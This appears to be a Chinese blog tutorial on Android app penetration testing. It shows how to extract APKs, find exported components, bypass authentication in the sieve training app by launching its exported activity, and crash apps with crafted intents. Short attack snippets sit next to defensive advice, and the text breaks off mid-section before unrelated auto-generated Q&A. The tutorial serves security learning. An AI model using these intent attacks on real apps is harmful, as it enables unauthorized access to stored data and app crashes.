android app渗透测试-Activity、Service

本文深入探讨了Android App中的Activity和Service安全问题,包括如何获取apk源代码、观察清单文件以发现潜在漏洞。重点讲解了Activity的越权漏洞、拒绝服务攻击和劫持,以及Service的非授权访问、消息伪造和拒绝服务攻击,通过CTF实例展示了漏洞利用和防护策略。
摘要由CSDN通过智能技术生成

Android App中可能出现的安全漏洞的类型:

  1. 协议——通信协议(本地、网络),协议大部分是由C/C++实现,存在以下安全问题:通信数据引发的逻辑漏洞;通信数据引发的缓冲区溢出等可能导致远程代码执行/拒绝服务的代码漏洞。
  2. 组件安全——Activity,Service服务,Content Provider内容提供者,BroadcastReceiver广播接收器中可能存在的安全问题,其中最主要的就是intent组件通信导致的拒绝服务/越权漏洞。
  3. 开放端口——可通过命令查看各APP运行时存在的开放端口,然后去逆向分析APP查看其在此开放端口上进行的操作,从而找寻可能的漏洞。
  4. IPC(进程间通信)安全——同1。
  5. 文件读写安全/数据加密安全——Android平台上的隐私泄露也是一个值得关注的攻击面。

在这里插入图片描述

在这里插入图片描述

思维导图来源

获取apk源代码

通过adb获取android系统应用或者第三方app:

adb shell pm path app包名
adb pull apk路径

如果是系统应用,可能因为优化,源代码不在apk文件,而是在vdex文件中:

  • vdex是dex代码直接转化的可执行二进制码文件
  • 第一次开机就会生成在/system/app/<packagename>/oat/下;
  • 在系统运行过程中,虚拟机将其从 /system/app 下copy到/data/davilk-cache/
  • 通过vdexExtrator可以将vdex转成dex,然后继续进行分析

关于vdex更多知识

例子:

下图是Genymotion模拟器中蓝牙系统应用的vdex文件路径,比一般的安卓系统相比把arm换成了x86

在这里插入图片描述

拉取vdex到本地:

在这里插入图片描述

vdexExtrator使用

在kali里面安装编译vdexExtrator中的工具,转化vdex为dex,下图适用于Android9以上的情况

在这里插入图片描述

在这里插入图片描述

将Bluetooth.apk拖入JEB中查看Manifest文件:

在这里插入图片描述

将Bluetooth.dex拖入JEB中查看源码:

在这里插入图片描述

观察清单文件

这些组件会在apk的AndroidManifest.xml中声明,需要重点关注可导出的组件:

  • 具备exported=true属性的组件
  • 配置了intent-filterservice默认是可导出的

这些组件会直接对外提供服务,容易直接受到攻击

  • 要重点看这些组件的permission,是否第三方app可调用,还是仅系统进程可调用
  • 如果没对调用进行权限限制或者是没有对调用者的身份进行有效的验证,那么恶意构造的APP都可以传入恰当的参数进行调用,导致恶意的行为发生,比如说调用具有system权限的删除卸载服务删除卸载其他应用

防护方面可以将android:protectionLevel从normal提升到dangerous、signature,组件权限设置参考

Activity漏洞挖掘

Activity越权漏洞示例

例子:sieve.apk

例子下载以及相关知识详见

应用正常交互流程

Genymotion打开应用,交互顺序如下:

首先要求输入密码:

在这里插入图片描述

在提交password之后,再输入pin:

在这里插入图片描述

然后要求输入刚才的密码:

在这里插入图片描述

点击登录后,可进入“Your Passwords”页面:

在这里插入图片描述

JEB反编译查看攻击面

可以知道包名为com.mwr.example.sieve

可以看到除了启动activity之外,还有两个activity导出为true

在这里插入图片描述

实现越权绕过

使用adroid studio编写testseive应用,直接调用导出activity,实现越权绕过

// 要调用的包名
String mPackageName="com.mwr.example.sieve";
// 要调用的activity
String mActivityName="com.mwr.example.sieve.PWList";
Intent intent=new Intent();
intent.setComponent(new ComponentName(mPackageName,mActivityName));
// 启动intent
startActivityForResult(intent,1);

在这里插入图片描述

构建并运行testseive应用,可以看到能够直接进入“Your Passwords”页面,实现越权绕过

在这里插入图片描述

防护策略
  • 私有Activity不应被其他应用启动,创建activity时,设置exported属性为false
  • 公开暴露的Activity组件,可以被任意应用启动,需要谨慎处理接收的Intent,不应发送敏感信息,收到返回数据谨慎处理

Activity拒绝服务攻击

参考链接

NullPointerException

源于程序没有对getAction()等获取到的数据进行空指针判断,从而导致空指针异常而导致应用崩溃

漏洞应用代码片段:

Intent i = new Intent();
if (i.getAction().equals("TestForNullPointerException")) {
   
    Log.d("TAG", "Test for Android Refuse Service Bug");
}

攻击应用代码片段:

不提供action,直接启动activity就可以导致崩溃

adb shell am start -n com.alibaba.jaq.pocforrefuseservice/.MainActivity
ClassCastException示例

源于程序没有对 getSerializableExtra() 等获取到的数据进行类型判断而进行强制类型转换,从而导致类型转换异常而导致应用崩溃

漏洞应用代码片段:

Intent i = getIntent();
String test = (String)i.getSerializableExtra("serializable_key");

攻击应用代码片段:

Intent i = new Intent();
i.setClassName("com.example.unsafe", "com.example.unsafe.MainActivity");
i.putExtra("serializable_key", BigInteger.valueOf(1));
startActivity(i);

先启动漏洞app,再启动攻击app,漏洞app就会crash:

在这里插入图片描述

可以看到android studio中的类型转换报错:

在这里插入图片描述

IndexOutOfBoundsException

源于程序没有对 getIntegerArrayListExtra() 等获取到的数据数组元素大小的判断,从而导致数组访问越界而导致应用崩溃

漏洞应用代码片段:

Intent intent = getIntent();
ArrayList<Integer> intArray = intent.getIntegerArrayListExtra("user_id");
if (intArray != null) {
   
    // 没有对intArray大小进行检验
    for (int i = 0; i<10; i++) {
   
        intArray.get(i);
    }
}

攻击应用代码片段:

Intent i = new Intent();
i.setClassName("com.example.unsafe", "com.example.unsafe.MainActivity");
ArrayList<Integer> user_id = new ArrayList<Integer>();
i.putExtra("user_id", user_id);
startActivity(i);

android studio报错:

在这里插入图片描述

ClassNotFoundException

源于程序没有无法找到从 getSerializableExtra() 获取到的序列化类对象的类定义,因此发生类未定义的异常而导致应用崩溃

漏洞应用代码片段:

### 回答1: Android app渗透测试是一种评估应用程序安全性的方法。以下是一些常用的Android app渗透测试方法: 1. 静态分析:通过检查应用程序的代码和资源文件,检查是否存在可能的安全漏洞,如弱密码、硬编码凭据等。 2. 动态分析:通过运行应用程序并监视其行为来检测潜在的安全风险,如未经授权的数据访问、隐私泄露等。 3. 安全配置审计:审查应用程序的安全配置,如SSL证书验证、数据加密等,以确保安全配置符合最佳实践。 4. 绕过认证:尝试绕过应用程序的身份验证机制,如用户名/密码验证、令牌验证等。 5. URL操纵:检查应用程序对URL的处理,尝试利用URL跳转漏洞,发现任意重定向漏洞等。 6. 数据存储审计:评估应用程序的数据存储和传输机制,检查是否存在数据泄露、未加密数据等问题。 7. API测试:检查应用程序的API调用,确定是否存在敏感函数、未受限制的接口等。 8. 代码审查:仔细检查应用程序的源代码,检查是否存在安全漏洞,如XSS、SQL注入等。 9. 弱密码测试:尝试推导或猜测用户的密码,以评估应用程序对弱密码的防御能力。 10. 社会工程学测试:尝试通过社交工程技术获取用户敏感信息,评估应用程序的安全意识和对恶意用户的防护能力。 综上所述,这些方法可以帮助评估Android应用程序的安全性,并发现潜在的安全风险和漏洞。然后可以采取相应的措施来修复这些漏洞,保护用户数据的安全。 ### 回答2: Android App渗透测试是一种评估应用程序安全性的方法,以发现其中存在的漏洞和潜在风险。这些测试可以帮助开发人员和安全团队改进应用程序的安全性,并保护用户的数据不受到攻击。以下是Android App渗透测试的一些常用方法。 1. 静态分析:通过逆向应用程序代码并检查其结构和逻辑,以发现可能存在的漏洞。这可以通过反编译和检查应用程序的代码、资源、配置文件等来实现。 2. 动态分析:通过模拟用户输入和交互行为,以对应用程序进行测试。这可以通过模拟攻击、针对应用程序网络通信进行监视、检查应用程序运行时的行为等来实现。 3. 数据传输和存储测试:检查应用程序在数据传输和存储过程中是否存在安全漏洞。这包括SSL/TLS证书验证、数据加密和解密、数据存储的安全性等方面的测试。 4. 授权和身份验证测试:检查应用程序对用户身份验证和授权的实施方式。这包括检查应用程序是否正确处理登录、注册和密码重置等功能,并验证应用程序在访问敏感数据时是否正确进行授权。 5. 网络安全测试:通过分析应用程序的网络交互方式,发现可能存在的网络攻击面。这包括检查应用程序的网络通信是否受到中间人攻击、拦截和劫持等方面的测试。 6. 权限测试:检查应用程序所请求的权限是否与其功能和行为相符,并验证应用程序在获得权限后是否正确使用这些权限。 7. 安全配置测试:检查应用程序的安全配置和设置是否正确,例如是否启用了调试模式、是否有敏感信息泄露的风险等。 8. 前端和后端安全测试:检查应用程序的前端和后端代码和配置的安全性,包括用户输入验证、服务器端漏洞等方面的测试。 这些方法可以被组合使用,以形成全面的Android App渗透测试计划。测试人员应根据具体的应用程序特点和需求来选择适合的测试方法,以确保应用程序的安全性和用户数据的保护。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值